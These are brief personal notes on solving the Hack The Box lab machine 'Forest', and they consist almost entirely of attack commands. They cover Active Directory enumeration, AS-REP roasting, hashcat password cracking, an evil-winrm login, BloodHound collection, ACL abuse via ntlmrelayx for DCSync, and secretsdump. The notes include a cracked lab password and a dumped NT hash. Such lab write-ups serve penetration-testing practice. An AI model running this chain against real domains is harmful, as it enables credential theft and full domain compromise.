Win: Forest

nmap :

dns , smb , rpc
htb.local
Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
Computer name: FOREST
NetBIOS computer name: FOREST\x00
Domain name: htb.local
Forest name: htb.local
FQDN: FOREST.htb.local --> fully qualified domain name

enum4linux :
enum4linux 10.10.10.161

we get a user list:
Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi
backdoor
harmj0y2
maglok

we check if they are valid
./kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d HTB.LOCAL userlist.txt
All valid usernames

If we want to brute force later
./kerbrute_linux_amd64 bruteuser --dc 10.10.10.161 -d HTB.LOCAL rockyou.txt <username>

GetNPUsers : gets hashes of users from list
./GetNPUsers.py HTB.LOCAL/ -usersfile userlist.txt -format hashcat -outputfile hashes.asreproast -debug -dc-ip 10.10.10.161

we get one hash for the user :
svc-alfresco@HTB.LOCAL

hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt
hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt --show

svc-alfresco@HTB.LOCAL
s3rvice

evil-winrm -i 10.10.10.161 -u svc-alfresco -p **s3rvice**

upload SharpHound.ps1
import-module .\SharpHound.ps1
invoke-BloodHound -CollectionMethod All

found a ACL dsync (write dacl)

net group "EXCHANGE WINDOWS PERMISSIONS" svc-alfresco /add

impacket-ntlmrelayx -t ldap://10.10.10.161 --escalate-user svc-alfresco

impacket-secretsdump HTB.LOCAL/svc-alfresco@10.10.10.161 -hashes lmhash:nthash -ntds ntds -history -just-dc-ntlm

f048153f202bbb2f82622b04d79129cc